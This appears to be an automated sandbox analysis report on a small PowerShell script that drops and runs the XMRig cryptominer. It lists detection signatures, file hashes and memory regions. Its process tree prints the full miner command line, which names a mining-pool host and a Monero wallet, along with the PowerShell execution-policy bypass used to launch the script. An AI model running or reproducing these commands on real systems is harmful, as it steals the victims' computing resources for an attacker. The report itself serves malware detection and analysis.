Resubmissions

15-05-2024 03:28

240515-d1awaafa7v 10

14-05-2024 20:25

240514-y7j3rafd53 10

14-05-2024 20:25

240514-y7dkzafd42 10

14-05-2024 20:25

240514-y69l1sfd34 10

14-05-2024 20:23

240514-y6htasfc77 10

14-05-2024 20:23

240514-y6bd8aeg2z 10

14-05-2024 20:23

240514-y57q2aef9z 10

Analysis

  • max time kernel
    290s
  • max time network
    295s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240426-en
  • resource tags

    arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    14-05-2024 20:23

General

  • Target

    file01 - copia (3).ps1

  • Size

    510B

  • MD5

    2dcb4d51653aec1a829f3232d69f5e12

  • SHA1

    dd096e7d800b9f3ca0edc64955b4464d71789f80

  • SHA256

    d1902d3e519d0d87097fd8969280bd01bd139a5191faadaed0149e61b4a7495c

  • SHA512

    7def3731bbb3f7ac3895edcf14c645bbcc0608f09c6b03bf7ddaebf049f1f6f1aad4086548ab9fce7b2bbefd837de8377f8b81cf94022d84e35f1bba0af89143

Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 6 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\file01 - copia (3).ps1"
    1⤵
    • Blocklisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4832
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe
      "C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe" -a rx -o stratum+ssl://rx.unmineable.com:443 -u XMR:45aHvZ4X3ZvdhLiEiP1cjsXmSkMNoM2QFYNmXCsoTRY9h2EwjtoYcfrVpEojtmBeg5cRsY9J82Lqp6hUanQ1Dsu4UNfKxdF.unmineable_worker_vilqtiac -p x
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1156

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_g4sxbe0z.ekt.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe

    Filesize

    5.4MB

    MD5

    177315780a5666331df5331dd2fcc6af

    SHA1

    30a8d1f9da56672fe3d9d9244d527639b0c533c5

    SHA256

    c2df3af3b509745774cbc74f3b49263bcdde67b3e0fb97494167710d93b75f74

    SHA512

    3da3ad7542fc6ba1abd66b96acc02b913bba50c6392b78c195e933917ab8815e8721ef5c95884459be7a3c9ba48529c087e31974d5318e9651ba236c633d073d

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe

    Filesize

    5.6MB

    MD5

    c7fd2190a3bb8770d39b981432ed7d2f

    SHA1

    825a08662210b009a8b247a406b5234a9a020917

    SHA256

    907be89376caf00af8144646288a797cfecfd72ed9a64e20bfe0f1469bb3dc86

    SHA512

    d22e91033c57b3a343729bfba588a7cd506e43ae4d3d3ce68ad367abbb7afe8015d08b487303403a13c2ec81e1cd1d62d7c5e16538ce674c45536d0f5114272c

  • memory/1156-57-0x00007FF6CFDD0000-0x00007FF6D0A03000-memory.dmp

    Filesize

    12.2MB

  • memory/1156-56-0x0000027077370000-0x0000027077390000-memory.dmp

    Filesize

    128KB

  • memory/1156-81-0x00007FF6CFDD0000-0x00007FF6D0A03000-memory.dmp

    Filesize

    12.2MB

  • memory/1156-60-0x00007FF6CFDD0000-0x00007FF6D0A03000-memory.dmp

    Filesize

    12.2MB

  • memory/1156-59-0x00007FF6CFDD0000-0x00007FF6D0A03000-memory.dmp

    Filesize

    12.2MB

  • memory/1156-79-0x00007FF6CFDD0000-0x00007FF6D0A03000-memory.dmp

    Filesize

    12.2MB

  • memory/1156-78-0x00007FF6CFDD0000-0x00007FF6D0A03000-memory.dmp

    Filesize

    12.2MB

  • memory/1156-46-0x0000027075B50000-0x0000027075B70000-memory.dmp

    Filesize

    128KB

  • memory/1156-47-0x0000027077350000-0x0000027077370000-memory.dmp

    Filesize

    128KB

  • memory/1156-48-0x00007FF6CFDD0000-0x00007FF6D0A03000-memory.dmp

    Filesize

    12.2MB

  • memory/1156-77-0x00007FF6CFDD0000-0x00007FF6D0A03000-memory.dmp

    Filesize

    12.2MB

  • memory/1156-76-0x00007FF6CFDD0000-0x00007FF6D0A03000-memory.dmp

    Filesize

    12.2MB

  • memory/1156-50-0x00007FF6CFDD0000-0x00007FF6D0A03000-memory.dmp

    Filesize

    12.2MB

  • memory/1156-53-0x0000027077390000-0x00000270773B0000-memory.dmp

    Filesize

    128KB

  • memory/1156-52-0x0000027077370000-0x0000027077390000-memory.dmp

    Filesize

    128KB

  • memory/1156-61-0x00007FF6CFDD0000-0x00007FF6D0A03000-memory.dmp

    Filesize

    12.2MB

  • memory/1156-55-0x00007FF6CFDD0000-0x00007FF6D0A03000-memory.dmp

    Filesize

    12.2MB

  • memory/1156-73-0x00007FF6CFDD0000-0x00007FF6D0A03000-memory.dmp

    Filesize

    12.2MB

  • memory/1156-58-0x0000027077390000-0x00000270773B0000-memory.dmp

    Filesize

    128KB

  • memory/1156-75-0x00007FF6CFDD0000-0x00007FF6D0A03000-memory.dmp

    Filesize

    12.2MB

  • memory/1156-80-0x00007FF6CFDD0000-0x00007FF6D0A03000-memory.dmp

    Filesize

    12.2MB

  • memory/1156-74-0x00007FF6CFDD0000-0x00007FF6D0A03000-memory.dmp

    Filesize

    12.2MB

  • memory/1156-54-0x00007FF6CFDD0000-0x00007FF6D0A03000-memory.dmp

    Filesize

    12.2MB

  • memory/1156-62-0x00007FF6CFDD0000-0x00007FF6D0A03000-memory.dmp

    Filesize

    12.2MB

  • memory/1156-63-0x00007FF6CFDD0000-0x00007FF6D0A03000-memory.dmp

    Filesize

    12.2MB

  • memory/1156-64-0x00007FF6CFDD0000-0x00007FF6D0A03000-memory.dmp

    Filesize

    12.2MB

  • memory/1156-65-0x00007FF6CFDD0000-0x00007FF6D0A03000-memory.dmp

    Filesize

    12.2MB

  • memory/1156-66-0x00007FF6CFDD0000-0x00007FF6D0A03000-memory.dmp

    Filesize

    12.2MB

  • memory/1156-67-0x00007FF6CFDD0000-0x00007FF6D0A03000-memory.dmp

    Filesize

    12.2MB

  • memory/1156-68-0x00007FF6CFDD0000-0x00007FF6D0A03000-memory.dmp

    Filesize

    12.2MB

  • memory/1156-69-0x00007FF6CFDD0000-0x00007FF6D0A03000-memory.dmp

    Filesize

    12.2MB

  • memory/1156-70-0x00007FF6CFDD0000-0x00007FF6D0A03000-memory.dmp

    Filesize

    12.2MB

  • memory/1156-71-0x00007FF6CFDD0000-0x00007FF6D0A03000-memory.dmp

    Filesize

    12.2MB

  • memory/1156-72-0x00007FF6CFDD0000-0x00007FF6D0A03000-memory.dmp

    Filesize

    12.2MB

  • memory/4832-51-0x00007FFC49723000-0x00007FFC49725000-memory.dmp

    Filesize

    8KB

  • memory/4832-15-0x0000029730330000-0x000002973033A000-memory.dmp

    Filesize

    40KB

  • memory/4832-0-0x00007FFC49723000-0x00007FFC49725000-memory.dmp

    Filesize

    8KB

  • memory/4832-11-0x00007FFC49720000-0x00007FFC4A1E2000-memory.dmp

    Filesize

    10.8MB

  • memory/4832-49-0x00007FFC49720000-0x00007FFC4A1E2000-memory.dmp

    Filesize

    10.8MB

  • memory/4832-9-0x00000297302E0000-0x0000029730302000-memory.dmp

    Filesize

    136KB

  • memory/4832-10-0x00007FFC49720000-0x00007FFC4A1E2000-memory.dmp

    Filesize

    10.8MB

  • memory/4832-14-0x0000029730340000-0x0000029730352000-memory.dmp

    Filesize

    72KB

  • memory/4832-12-0x00007FFC49720000-0x00007FFC4A1E2000-memory.dmp

    Filesize

    10.8MB